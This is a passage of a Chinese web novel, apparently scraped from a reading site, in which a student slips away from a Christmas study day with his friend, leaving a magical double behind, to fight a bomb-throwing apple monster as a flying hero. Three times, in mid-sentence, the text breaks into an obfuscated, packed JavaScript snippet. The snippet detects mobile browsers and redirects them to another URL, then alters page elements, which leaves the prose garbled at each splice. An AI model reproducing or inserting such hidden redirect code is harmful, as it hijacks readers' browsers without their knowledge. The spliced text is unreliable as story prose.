罗乐安又咬牙又叹气地度过了整个白天,可他却不知道“退步”这两个字对他的影响,远没有结束。 “不能出门?为什么!” 好不容易熬过了忙碌的一周,迎来了一周只有一天的休息日,他一早就准备出门再探桑榆竹,却不料还没到门口,就被自己老妈拦住了。 “你说能为什么?” 胡之桃一边啃着苹果,一边挡在罗乐安身前。 “你也不看看你这次月考的成绩,老娘闭着眼睛蒙都能答得比你好,你还好意思出门浪?今天你就给我乖乖待在家——不,待在隔壁,刚好小朗这次成绩也出现了波折,你俩就乖乖在家学习,互相……让他监督你,我也能安心。” 说罢,胡女士不顾亲儿子的抗议,直接连人带东西,统统打包到了隔壁。 “阿朗!你都不抗议一下的吗?” 看着一脸微笑、欣然接受安排的温朗,罗乐安声音颤抖,怒其不争。 “今天可是两个周才有一天的难能可贵的休息日诶!你不怀念外面的世界吗?你不想出门放松一下吗?昨天晚上还下了雪,你不想出去堆……” “你有约会吗?” 温朗突然回头,神色如常,语气却极为慎重,好像是在问什么不得了的大事。 罗乐安也被这语气惊了一下,脑袋一懵,思路马上就断了,下意识讷讷开口:“没、没有……” 听到他的话,温朗脸上的笑容真切了几分,语气也软了不少。 “那就没关系了,总归是要写卷子的,在家慢慢写不也是一种放松吗?” “……” 除了你,谁会把写卷子当成放松啊喂! 就算要转话题也挑个让人高兴点的吧! “可……今天还是圣诞节啊,外面的节日氛围那么浓,你就不想出门逛逛吗?” “但我觉得跟乐乐一起在学习中度过圣诞节,也很浪漫呀~” “……” 阿朗,你对“浪漫”这俩字是不是有什么误解? 这些xyz和坐标轴到底哪里浪漫了!!! 罗乐安感觉他俩的对话根本不在一个频道上。 “阿朗。” “嗯?” “你真奇怪。” “……” 正在整理卷子的温朗听到这话,动作一顿。 思索一阵后,才谨慎地开口询问:“是昨天的苹果,不甜吗?” “……” 埋在一堆求导和数列中的罗乐安的脑袋,因为这句话而抬了起来。 并且,头顶的呆毛还弯成了两个问号。 为什么突然提苹果? 自己刚刚提到苹果了吗? 还是说他刚刚失忆了,错过了什么关键信息? 「思维太活跃,喜欢梦到哪句说哪句。」 这是他曾经在初中同学录上得到过的一句评价,当年他十分不解,但是就在刚刚,他猛地就get到了这句话的意思。 原来,在别人眼中,自己的确是很奇怪啊。 瞧见他只盯着自己看,也不说话,温朗歪了歪头,继续猜测道:“还是说……你想问圣诞礼物?可是我们不是说好了吗?圣诞和元旦一年送一个就行,今年轮到元旦送礼物,还有一个周,很快的。” “……” 算了。 罗乐安无声地叹气,呆毛也随之放松。 “我们开始做卷子吧。” 至少这些卷子上的文字是贯通的,应该比温朗的思路要好猜一些。 房间里很快就只剩下书写和翻页的沙沙声,在这种氛围下,尽管罗乐安对此还是颇有怨言,却也还是专心地开始了学习。 只是这种专心,是有时限的。 毕竟他本来就心事重重,卷子做得顺的时候还能心无旁骛,可一旦碰到稍微复杂一点的题,他好不容易集中的精神就会不自觉开始涣散。 “如图,在四棱锥P-ABCD中,底面ABCD是边长为二的正方形,侧棱PA垂直底面ABCD,且PA等于二,,点E是棱PD的中点,求证PB平行平面ABCD……唔……解,已知在四棱锥P-ABCD中,底面ABCD是边长为二……” “乐乐,乐乐,你醒醒!” “唔……嗯?” 罗乐安感觉自己被谁推了一把,一个激灵终于醒了过来,“阿朗你干嘛推我?” 他一边揉眼睛,一边含含糊糊地问道,直到眼神恢复清明,才看到温朗嘴角含着无奈的笑,正一言不发地看着自己。 “怎么了?” “你要不然先看看你都写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758680|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么吧。” 温朗伸手点了点罗乐安面前的卷子,后者闻言低头一看,不由得面色大囧。 自己刚刚估计真是迷瞪了,竟然把题干抄了一遍。 “估计是屋里的二氧化碳浓度太高了。” 一边说着,温朗一边站起身,走到窗前,将窗户开了一条缝。 “要不要喝咖啡?我去给你做。” 直到一丝凉意窜到罗乐安的后脖颈,他一个哆嗦终于彻底醒了,连忙起身套上居家服外套,走到窗前,呼吸窗外自由而冷冽的西北风。 “呼……果然自由才能让人清醒。” 顶着冻到通红的鼻尖,他故作高深地说出了一句自己瞎掰的至理名言。 而后,他像是想到了什么,原本向下耷拉的眼角,瞪圆了。 “阿朗~” 厨房里,温朗刚磨好豆子压好粉,正要往机器上安手柄,就听到身后传来一声雀跃的呼唤。 “怎么了?突然这么精神?” 对于罗乐安的飞扑他早有准备,等到人挂在自己身上的时候,除了呼吸缓了两秒,一个晃都没打,稳稳站定,继续着刚刚的动作。 “我想到了!” “想到什么了?” “我们窝在这么小的房间里学习,暖气又给的这么足,当然会困了。” “所以?” “所以我们应该去一个大一点又安静的地方,人多氛围也更好,路上还能呼吸新鲜空气,让自己精神百倍,这样学习也会更有效率,你说是不是呀?” 咖啡这个时候已经萃取完了,温朗拿过牛奶开始准备打奶泡。 “想去图书馆?” “嗯嗯嗯!那我们现在就收拾东西出发?” 罗乐安松开费劲搭在温朗肩头的胳膊,跑到人侧边拼命点头。 只是温朗突然不说话了,一味专心打奶泡,倒缸,拉花,直到最后一杯成品拿铁完成后,他才轻声开口,拒绝。 “我是很想答应你的邀约,可惜不行。” “啊?”罗乐安脸上的笑容瞬间凝滞,“为什么啊?这个主意不好吗?” 多好啊! 只要到了图书馆,他就有机会趁着上厕所的工夫冲到桑榆竹店里,进行二探。 温朗这个不解风情的混蛋。 看着罗乐安噘嘴不满的表情,温朗将手里的咖啡杯放到他手上,接着转身淡定地收拾桌面。 “我的腿伤刚好,骑不了车,也不能久站,去图书馆实在是不方便。而且时间已经快九点半了,就算我们现在就收拾东西出发,坐出租车去,到那儿也要十点多了——你觉得那个时间,图书馆还能有空位吗?” 好有道理。 实在难以反驳。 罗乐安扁扁嘴,试图垂死挣扎。 “万一有呢?今天圣诞节,说不定很多人都去约会了,图书馆现在很可能空荡荡的,就等着咱俩这种勤奋用功的人光顾呢……” 说话声越来越小,他自己也知道这种理由很难成立,而且很可能现在的图书馆里已经坐满了一对一对的小情侣。 温朗显然也知道这点,他擦完咖啡机粉碗,转过身,轻轻拍了下罗乐安的脑瓜顶。 “乐乐你就这么不想跟我待在一起吗?” 声音没听出生气,倒是听出来了些委屈。 把一个这么宽容大度的人逼得委屈,罗乐安的心里生出了浓浓的愧疚感。 “没有啦,我就是随口一说,待在家也挺好的。” “那就好~”温朗重展笑颜,“你先喝,我去给你削个苹果。” 罗乐安瞧着人离开,郁闷地低下头。 看着杯子里完美的爱心图案,他愤懑地“嗷呜”一口,将表面的奶泡直接喝光。 72. APPLE④ 喝完咖啡,吃完水果,罗乐安跟温朗两个人重新回到书桌前。 趁着精神劲儿还在,前者抓紧时间把剩下的小半张数学卷子做完,之后就紧忙扒拉了一份英语卷子过来,准备先做点擅长的科目,再考虑对答案跟改错题的事。 毕竟人不能一直死磕痛苦的事,不然会死。 并且当知道自己现在无法改变结果后,他躁动的内心倒是消停了不少,做题的时候,专注力也比之前加强了许多。 而当人一旦开始专注,对时间的流逝反应也会有所变化,总是会觉得时针走得更快些。 等到罗乐安将英语卷子写完,已经到了午饭时间。 瞧见他撂下笔,温朗也合上卷子,抬头询问:“等下是去楼下吃面,还是订外卖?” “去楼下吧,还能呼吸一下新鲜空……” 前者伸着懒腰回道,只不过手刚举过头顶,人就愣住了。 温朗倒没觉察到不对劲,他正低头穿外套。 “那我们现在就穿衣服下……” “等、等……等一下!” 一声大喝打断了他的动作,他抬起头,就见罗乐安神色慌张,转身就往卫生间跑。 “不行还是订外卖吧,你看着点就行,我先去上个厕所!” 话音未落,人已经不见了。 罗乐安冲进卫生间后,先是反锁了门,紧接着从睡衣口袋里掏出了一个毛绒绒的小挂件。 这是之前答应丧丧给它做的新皮肤,是一只精致的奶牛猫,前天晚上才刚完工,姑且算得上是圣诞礼物。 然而他现在根本无暇欣赏自己精妙高超的手艺,因为即便隔着厚实的绒毛,他依旧能感受到挂坠发出的灼热温度。 “怎么了?是谵蘖出现了吗?” 「是的,在距我们十五公里左右的东边,有谵蘖的能量波动出现。只是现在的波动峰值还比较低,估计还没正式现身。」 “那还行……不是等会儿!十五公里?!那——么远吗?!” 在吸收掉南瓜谵蘖的种子后,丧丧的定位功能得到了一定升级,范围和精度都有所扩大,不过还是没有提前预警的功能就是了。 但现在看也无所谓了,因为就算这方面升级到顶格,也解决不了这个超远路程的问题。 “这个距离开车路况不堵都要至少二十分钟了,你要我纯跑过去?就算我跑的到,你确定到时候我还能有体力跟谵蘖战斗吗?” 「所以?你的诉求是什么?」 见丧丧如此上道儿,罗乐安激动高昂的情绪平缓了大半。 “我要飞。” 「你的梦想是做鸟?」 “你少给我装傻!我就是要飞——没道理别的魔法少女都能飞,我就只能用跳的!别废话了,快点给我加技能!!!” 听到他的控诉,丧丧没再插科打诨,也没开口回绝,只是沉默了大概一分钟的时间,而后同意了。 「可以。」 说着,一道银色的光芒自挂坠里射出,没入了罗乐安的胸口。 「好了,等下变身之后,按右手柄『Y键』就可以飞了。那我们现在就出发吧……」 “等下等下,还不急。” 「很急。」 “还有时间。” 「没有时间。」 “你跟我说没时间也没辙——阿朗还在外头呢,我怎么去啊。” 「不是有『3D打印』吗?」 “行,我用。然后等过了十五分钟,我在阿朗面前表演大变活人?那之后你肯定就会失去我这个搭档了,不行你现在就去找下家,毕竟谵蘖已经出现了,形势不等人,不对,不等精灵啊~” 丧丧又沉默了大概一分钟的时间,才再次开口。 而且语气远没有之前痛快。 「……所以,你的诉求是什么?」 罗乐安闻言,嘴角上扬,露出了一个略带狡黠的笑容。 “嘿嘿,今天圣诞节,加个钟吧~” * 温朗在卧室足足等了十五分钟,才等到罗乐安从卫生间出来。 在此期间,他有想过要不要干脆直接敲门,问问对方需不需要帮助。 只是又觉得这不太礼貌,便忍耐了下来。 好在,在他耐性即将告罄前,人出来了。 “怎么这么久?是闹肚子了吗?需要吃药吗?” “哈哈哈,不用不用。” 听到他的关心,罗乐安连忙摆摆手,“纯粹是咖啡和苹果吃得有点多,放心好啦~” 一边说,他一边拿起自己放在椅背上的外套。 “对了,外卖订了吗?” “还没有。” 瞧着他面色红润,完全不像有哪里不舒服的样子,温朗终于放下心来。 “你想吃什么?我现在订。” “要是没订的话那我们去楼下吃吧,你家饭好吃还省钱,而且也该下楼活动活动了。” 想起罗乐安一大早就提出的“向往自由”的诉求,加上的确学了一上午,是该活动一下身体,今天外面阳光也好,温朗便没拒绝,穿上外套,跟着对方一起出门。 “袜~昨天的雪比我想象的还大诶!” 虽然小区里道路上的雪清的很及时,但路两旁的花坛里以及树枝上,依旧能看到厚厚的积雪,穿梭在其中的罗乐安一路上都乐颠颠的,时不时还要上手捏个雪团,那副没出息的样子,完全看不出是一个土生土长的北方人。 “阿朗~我可以申请午饭之后玩一会儿雪吗?就一小——会儿~” 温朗此刻已经被大拇指和食指交叠在一起、不知道是比划“一咪咪”还是比心的罗乐安萌翻了,自然是人说什么就应什么,立马就通过了“体育课”的审批。 “可以,但是天还是太冷,你不能玩太久。行了行了,先别玩雪了,看你把手搞得这么冰,等下我去店里给你找副手套好了。” 一边说,他一边将罗乐安搓雪球的手拉过,拽着人往小区大门走。 他对面前的人没有丝毫怀疑,殊不知握在手里的其实是替身。 而真正的罗乐安,早在卫生间里就变身成了L-RAether,家门刚一打开,他第一时间就飞了出去。 “阿嚏!” 处在湖灵市上空的正版·罗乐安,此刻正一边御风飞行,一边在寒风中猛猛打喷嚏。 “虽然有翅膀能飞的确是很快……阿嚏!可也未免太冷了吧——阿嚏!!!” 「不要抱怨,快点飞吧。升级版的『3D打印』时效总共也只有一个半小时而已,你在家已经浪费了快十分钟,如果最后身份暴露了,你可别甩锅给我。」 “一斤鸭梨!*真是的,干嘛把我想得那么无赖嘛……” 罗乐安揉揉鼻子,对丧丧的指控并不认同,“而且这种时候就别咒我了,祈祷我能速战速决不好吗?” “再说了,你要是努努力把时间延长到两个小时,不就怎么都好说了吗?” 「那不是因为你还加了好多『私人订制』的要求吗?什么性格要一致,不能OOC,包括吃东西的口味和忌口都要加上——一颗谵蘖种子的能量有限,我当然要谨慎使用了。」 “我这不还是为了更保险嘛。之前阿朗会怀疑我,肯定也和‘打印制品’的质量不过硬脱不了干系,所以这次一定要把能打的补丁都打上,抹杀一切潜在的掉马危机才行啊。总之,丧丧,你还需多加努力啊!” 当然,尽管他嘴上在抱怨和PUA,却还算认同丧丧的话,身后翅膀的煽动速度明显加快了。 气流在羽梢发出锐利的尖声啸叫,每一次振翅都撕裂长风,身下的大地如流动的画卷一般极速倒退着,罗乐安在无垠的蔚蓝画布上,投下了一道决绝的影。 没错,他的确应该快一点,再快一点。 尽早把谵蘖解决掉,他还能有多余的时间,去享受一个“私人午餐”。 十五公里的距离乍看很远,但如果用飞的,五六分钟就能到。 “这里……是图书馆附近?” 马上就要飞到丧丧提供的坐标点了,随着罗乐安下降高度,地面的情况也跟着看得愈加真切,他很快就辨认出了湖灵市图书馆那个,非常具有标志性以及辨识度的湖蓝色尖塔钟楼。 降落在钟楼塔尖后,他低头俯瞰着下方的闹市区。 “丧丧,谵蘖现身了吗?” 「嗯,能量波动显示,三分钟前谵蘖已经出现了。」 “好的,那让我看看它到底在哪……” “Boom!!!” 话音未落,一道震如雷劈的巨大声响,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772857|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不远处的一条文艺风十足的小巷子里炸开。 地上顿时浓烟四起,路人的尖叫声和汽车的警告鸣笛声此起彼伏,原本氛围欢快的街道瞬间变得紧张而喧嚣。 至于引发了这一切的罪魁祸首,也在烟尘消散后,显露了真容。 圆圆的。 红红的。 大……大的。 顶端还有两片嫩绿的叶子和一根棍儿。 “丧丧。” 「我在。」 “这次的谵蘖是苹果。” 「嗯。」 “可是——为什么不是苹果树而是苹果人啊喂!!!” 丧丧的声音迟疑了半秒,而后才平静地出现。 「就是苹果啊,哪里有人了啊。」 罗乐安此刻完全没有刚刚的淡定了,他恨不能摘下面具揉揉眼睛,好确认自己不是眼花。 “但是谁家苹果两米高啊!谁家苹果有手有脚还戴白手套啊!!谁家苹果脸上——有五官啊!!!” 正喊着,底下的真·苹果突然冒出了一串“桀桀桀桀”的诡谲笑声,像是生锈的齿轮正在转动,每个音节都卡着不祥的节奏,就连停顿的间隙里,都流露出一种冷寂的森然。 “你听到了吗?它那张嘴不是装饰——它还会笑!” 「别废话了,赶紧的吧!它不止会笑,还会投掷武器!」 丧丧的语气难得出现焦急,这让因为过于震惊而有些吐槽上头的罗乐安猛地清醒了过来,一扭头就看到那个还在“桀桀桀桀”笑着的苹果人,白白的手套上面突然出现了一个红色的圆球,上面似乎还冒着火星。 “不好!!!” 他即刻张开背后的翅膀向下俯冲,同时双手召唤出弓箭,一发蓝色箭矢划过长空,在苹果人手上疑似炸弹的东西脱手前,成功将其整个冻住。 “呼……好险好险。”罗乐安长舒一口气,伸手拍拍胸前的手柄胸针。 “现在可不是玩笑的时候啊,丧丧,我们要速战速决!” 丧丧:「……」 到底是谁在开玩笑啊喂! 罗乐安可不知道丧丧此刻正在心里掀桌,他已经正式进入到了“救世主”模式。 “天啊,整条街被搞得一团乱。” 看着路中间被炸出的深坑,他不再有玩笑的心思。 一边将小路尽头处被震翻的汽车扶正,把车里受伤的人转移到安全地带,一边大声疏散附近还没有离开的民众。 “Thegameneverends——这里即将成为战场,很危险!请大家保持秩序快速离开!以希望与正义之名,我绝对会打败怪物,保护大家的安全!请尽快撤离,不要逗留围观!” 经历了半年的“宣传”,“L-RAether”到底还是积累了一定的声望。 尽管依旧有一拨人坚信这是炒作,不过更大一部分人,还是慢慢接受了他的存在。 并且随着打败的怪物越来越多,L-RAether在民众中的威信也越来越高,因此对于他的话,大部分市民还是接受并听从的,于是很快,路边和小店内的人就从这条路撤离开来。 而在所有人都离开后,罗乐安松了口气。 幸好这里是步行街,又正直饭点,这条都是精品店没有饭馆和餐厅的小巷子里人并不多,不然以刚刚那个爆炸的威力造成的后果,可就远不止是十几个人轻微磕伤或摔伤这么简单了。 “那么接下来,就是解决正主了。” 说罢,他右手柄召唤出普通光剑,准备像上次砍南瓜一样,把冷冻苹果人砍开。 “就算会扔炸弹又怎样?你可比南瓜小多了,皮也薄,肯定好砍。” 自信满满地放出狂言后,罗乐安右脚用力向下一蹬,直接跃上十几米的高空。 “看剑——” 剑锋直指地面上的谵蘖,他调整姿势,整个人极速向下俯冲,下个瞬间,幽蓝的长剑就来到了那个“冰雕苹果人”的面前。 只是和预想不同,剑刃并没有砍中谵蘖,而是像被什么东西抵住了一样,停在其面前大概十公分左右的位置上。 “咦?” 罗乐安歪着脑袋正奇怪着,突然一阵巨响剥夺了他的听觉,同时灼热的气浪裹挟着碎裂的冰块,将他像一片叶子似的,整个掀飞。 73. APPLE⑤ 攻击来得猝不及防。 幸好罗乐安虽然对此毫无防备,反应却还算迅速。 在感受到扑面而来的热浪后,他第一时间就用手臂护住头跟胸部,并弯腰屈起身体,因此人尽管还是被气流掀飞,却并没有显得太过狼狈,也没有受到过分的重击。 但这并没有让他的内心好受一些,因为他还是不明白自己为什么会被击飞。 “靠!” 他在空中翻身调整好了平衡,落地站稳后第一时间看向谵蘖,就发现那个苹果人此刻不仅毫发无损,甚至更加精神百倍了——尽管从对方扁平的二次元风格的五官上看不出来,可那笑声…… “Boom~桀桀桀~BoomBoom——桀桀桀桀桀~~~” 唔,不仅依旧邪恶,还增添了不必要的活力。 除此之外,还有一点似乎和刚刚不太一样。 现在的苹果人,两只手里各握着一枚圆滚滚的红色苹果炸弹,正一上一下的轮流抛接着,动作搭配扭曲的表情,非常像一个“街溜子”。 就是杀伤力要比普通街溜子大很多。 “刚刚……到底是怎么回事啊!” 罗乐安左手召唤出盾牌,谨慎地挡在自己身前,而后才小心地探出脑袋,想要更仔细观察谵蘖的动向。 只是才刚把大毛和二毛探出去,对面的苹果人就先一步有了动作,原本直上直下抛接的苹果炸弹,被它改了方向,径直朝着罗乐安所在的方向飞了过来。 后者的第一反应,是想利用盾牌将炸弹像打网球一样打飞开来。 不过就在他左手即将要动作的时候,余光瞥见了道路两旁圣诞气息还很浓郁的店铺,担心炸弹飞走的时候误伤到旁边的建筑,只好作罢,右脚一蹬,整个人极速向后跃去,堪堪躲开一前一后落地的两颗炸弹。 “BoomBoom!桀桀桀~” “可恶!笑笑笑,笑你大爷的——烦死了!!!” 和苹果人呛了一声后,罗乐安撇撇嘴,觉得自己这样的确有点傻,于是再留下一句经典台词后,他闭上嘴巴,专心应战。 那边的谵蘖虽然笑得嚣张,却也并不耽误“干活”,两只手上不知道什么时候又出现了两颗新的苹果炸弹,似乎是要开始新一轮的攻击。 罗乐安也发现了苹果人的打算,只是他可不想再继续躲了,毕竟进攻,才是最好的防御。 于是他二话不说,又是一记冰冻箭,朝着谵蘖就招呼了过去。 苹果人维持着投掷的姿态,被厚厚的冰层定格在了地面上。 而在确定炸弹还牢牢跟本体一样封在冰壳里后,罗乐安微微松了口气,一个跳跃,落到了距离谵蘖大概五六米远的地方。 “之前是我太大意了。” 他鼓着腮帮子嘟嘟囔囔,同时右手一挥,将普通光剑换成了那把两米长的重剑。 “但这次一定能把你砍成两半!要知道,这把剑可是连那么大那么硬的南瓜都能劈开,削个苹果,绰绰有余,呵!” 嘲笑完和南瓜一比显得非常娇小的苹果人后,罗乐安双手举起长剑,双脚蓄力,准备再次起跳,从高空发动进攻。 然而还没等到他双脚下蹬,就听到了一阵“咔咔”的声音,与此同时,对面谵蘖身上的冰壳,也开始出现裂纹。 “怎么……这次时间这么短?” 罗乐安惊诧地瞪大眼睛,只是还没等他找到答案,对面就已经彻底挣脱了冰层的束缚。 以爆炸的形式。 “BoomBoomBoom!!!咦桀桀桀~~~” 在苹果人愈发嚣张的笑声里,罗乐安再次被震飞。 他能明显感觉到这次弹飞自己的力度要比之前强上不少,不过他这次离得更远些,气流和碎冰造成的冲击反而没有之前大。 而在空中闪避的时候,他也看清了烟尘背后,谵蘖此刻的模样。 依旧是圆滚滚的苹果人,但是它手里的苹果炸弹从两个变成了三个,正在像马戏团里的小丑一样,玩着抛接球。 原来是炸弹变多了,难怪爆炸的威力也变大了。 然而罗乐安对此并没有过多在意,因为无论有多少,对他而言都一样,只需要快速避开就好。 想到这里,落地后他没有像之前那样重新补上冰冻箭,反倒举着长剑,再度一跃上前。 既然冻不住,那就干脆直接打吧。 由于这一次他没有再起跳纵劈,攻击干脆利落,长长的光剑稳稳地砍中了谵蘖,红雾顿时从伤口处漫了出来。 可就在罗乐安准备一鼓作气,将其直接拿下的时候,变故发生了。 从苹果人的伤口里涌出的不再只是红雾,还有一个圆圆红红的东西,从那道裂口里挤了出来。 一枚新的炸弹。 “这什么玩意儿?” 看到这一幕,收剑收到一半的罗乐安整个人都愣住了。 “yue——好恶心!” 只是即便观感很不好,炸弹就是炸弹,效果和威力并不会因为差劲的产出过程而大打折扣。 相反,由于炸弹数量的增多,闪避的难度和成功率都被迫调整成了困难模式。 这条名为“聆风道”的步行街原本就是主路“望云大街”的一条附路,又短又窄。 而在这种条件下,罗乐安的躲避空间本就有限,现在又有4个炸弹封锁方向,相比于之前两次,现在的他要狼狈多了。 主要是为了降低谵蘖造成的破坏损失,他还不好往建筑物里躲,只能在两车道的狭窄距离里,左躲右闪,上蹿下跳,辗转腾挪。 最后,在躲避第四颗炸弹的时候,由于手里长剑的体积和质量和他本人的身材不是那么和谐适配,以至于他在落地的时候身体失去平衡,重重撞上了一家花店的外墙。 撞击的震动引得屋顶上超厚的积雪纷纷滑落,让还没站起来的他受到了二次伤害。 “唔……” 因为后背的重击,罗乐安短暂地陷入了昏迷,几秒钟后又因冰凉的雪水沁身而清醒过来。 他从雪堆里探出脑袋,只觉得自己浑身上下,就没有哪里不疼的。 “可恶……”跳出雪堆,他将长剑换回普通光剑,同时呲着牙抱怨,“空中跳跃转体还真是不太好搞……丧丧,你快想想办法啊!” 丧丧的声音自胸针里传出,带着明显的困惑。 「所以你,为什么不用飞的?」 “……” 罗乐安猛地闭上了抱怨的小嘴巴,头顶的两根呆毛,因为尴尬而开始乱哄哄地瞎转,一副很忙碌的模样。 “我忘记了。” 「……」 这次轮到丧丧沉默了。 “也不能全怪我嘛……” 他一边按下右手柄上的“Y键”飞到半空,一边有些心虚地解释道:“我之前一直是用跳的,新技能刚用,会忘记也很正常……奇怪——等一下!” 辩解到一半,罗乐安的声音突然拔高。 “为什么那个苹果人同时持有的炸弹数量又增加了啊?!” 看向距离自己大概十米远的谵蘖,他皱起眉头。 “它是弹药库嘛!隔几分钟就造一个?!” 就见那个苹果人,此刻正在手上转圈抛接的苹果炸弹,数量已经变成了五个。 单看数字并不多,可一旦想到不久之后这个数字可能会变成两位数,罗乐安就觉得十分棘手。 幸好丧丧否认了他这个可怕的猜想。 「不,是刚刚的那轮爆炸把谵蘖上方房檐的冰锥震下来,导致它产生了新炸弹。」 “冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787849|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锥?冰锥和炸弹有什么关系?” 罗乐安问道,同时挥动翅膀,侧身躲开了一个朝自己扔来的苹果炸弹。 “说话说清楚啦,别当谜语精灵!” 「是攻击。这个谵蘖每遭受到一次攻击,就会多产生一颗炸弹,并且同时持有的数量上限也会增加。所以你接下来一定要注意,尽量别打到谵蘖。」 “什么——?” 一边俯身躲开了两颗炸弹,罗乐安一边失声尖叫,“什么叫‘尽量别打到谵蘖’?不打到的话我要怎么制服它啊?!” 「我说的是『尽量』——不是不能打,但是除非可以找到机会一击制胜,不然还是先避开比较好。」 “一击……制胜?” 好险躲过身后飞来的炸弹,罗乐安挥着翅膀飞到高处,准备跟丧丧好好讨论一下这个“既要又要”的问题。 “你知道大概需要多少强度的攻击吗?” 「砍南瓜的强度吧,保险一点。」 “……” 这也未免太保险了吧! 只是尽管罗乐安觉得丧丧有些小题大做,却也明白这种时候谨慎些不是毛病。 毕竟万一力道轻了,天知道苹果人的伤口里会长出多少“瘤子”。 yue! 一想到那个画面,他就忍不住恶心。 好不容易止住干呕的冲动,罗乐安重新换回长剑,准备飞下去“一击制胜”。 然后,他看到了苹果人手里仅剩的一个炸弹,正围着它360度转圈,意识到自己现在正面临着最后一个,同时也是最重要的问题,那就是如何“找到机会”。 “这苹果人是练过悠悠球吗?那颗炸弹就不能离它远点吗?” 他咬着腮帮子吐槽,心里默默算着时间,发现距离自己出发已经过去了快三十分钟,顿时感觉更加烦躁。 而就在这个时候,下方的最后一颗炸弹突然改变了卫星公转一般的运动轨迹,朝着罗乐安疾速飞来。 后者正烦着,下意识右手一挥,长剑便将炸弹打飞,在他上方大概二三十米的地方炸开。 炸弹爆炸的效果极美,即便是在正午时分,依旧能看到炫彩的火光与烟雾,配合“12月25日”这个特殊的日子,颇有一种节日礼炮的意味。 只是罗乐安此刻并没有观赏的心情,他现在心里只有懊恼,恨自己脑子总是跟不上身体,不自觉就攻击了炸弹。 “该不会……” 该不会谵蘖要变身成“六边形战士”了吧?! 因为会有六个炸弹护体! 幸好破梗终究只是破梗,现实没有烂成这样。 苹果人手里生成的炸弹数量,依旧是5,也依旧像是卫星一样,在谵蘖的周身不停地转着圈圈。 “看来……” 「看来攻击炸弹不会刺激谵蘖本体,可以利用这一点……」 “寻找‘一击制胜’的机会,是吧?” 确定好接下来的战术后,罗乐安将右手的长剑再次换回“基础款”,又调整了“战斗模式”,从被动躲避切换成了主动迎战,纵身向下,朝着谵蘖飞去。 见他如此动作,苹果人又开始了“桀桀桀”的怪笑,并一边表演口技“BoomBoomBoom”,一边朝着罗乐安猛猛扔炸弹。 有了之前的经验,后者面对炸弹,没再小心翼翼,而是一剑一个,统统挑上天。 而后,附近还没走太远的围观群众们,就欣赏到了一场超小型的白天烟花秀。 作为点烟花的人,罗乐安依旧是没有心情看烟花。 他连挑五球后,立马把手里的剑换回长剑,面向谵蘖,正准备按“A键”蓄力,一抬头,却傻了眼。 为什么苹果人身边又有一圈炸弹? 难道自己,陷入循环了吗? 74. APPLE⑥ 「那是谵蘖刚刚新生成的炸弹。」 “新生成?都没有CD时间的吗?这也太赖皮了——苹果人,你是不是有挂!” 罗乐安怒气冲冲地指着对面的谵蘖,大声又无力地斥责。 不过后者对这完全不痛不痒,依旧“桀桀桀”地笑着,同时指挥着苹果炸弹开启新一轮的进攻。 由于距离太近,罗乐安没有足够的空间进行格挡,只好重新飞回高处,然后将炸弹一一击打到没有建筑的地方。 只是这样一通忙活下来,他再想要对上谵蘖的时候,新一轮的炸弹又出现了。 “这样没完没了的……要怎么打啊!丧丧——” 他一边“拆弹”,一边跟胸前的精灵大声抱怨着。 「我在分析能量波动了。」 “那你快一点啊!” 「我尽量。」 最后罗乐安总共挑了大概50颗炸弹,丧丧的解析成果终于出来了。 「谵蘖在召唤出五颗炸弹后,就直接在体内继续生成新的炸弹,直到放出的炸弹全部爆炸,新的炸弹才会被放出来。」 “换句话说……我要在炸弹出现的第一时间,用最快速度把它们消灭,才能有时间攻击本体,对吧?” 「没错。但是我不建议你用飞旋镖,因为炸弹爆炸的冲击力很可能会攻击到谵蘖本体,到时候不仅要从头来过,情况甚至可能还会变得更糟。」 听到丧丧的话,罗乐安一直绷紧的脸上终于露出了些许笑意。 “我当然不会这么傻了,我已经想好对策了~” 「那你很棒棒哦。」 “不不不,是你棒棒才对。” 「……什么意思?」 “圣诞节了,给个福利吧~” 「……」 最终,丧丧还是给罗乐安送了“圣诞节礼物”。 「这个是多发冰冻箭,CD时间十分钟,所以你发射的时候一定要瞄准,如果射偏了,你就要再多等一段时间了。」 “放心,我一定不会射偏的。” 罗乐安自信地应道,并将多发冰冻箭先收了起来,右手握着的依旧是普通的光剑。 紧接着,他迎着向自己冲过来的炸弹飞去,“唰唰唰唰”连续四剑,击破四颗炸弹,却在最后一颗炸弹冲过来时,紧忙转身避开,朝着谵蘖本体俯冲过去。 直到大概只剩三米就要亲上苹果人了,他猛地空中刹车,然后又一次紧急转身,将一直追在自己身后的最后一颗炸弹挑飞。 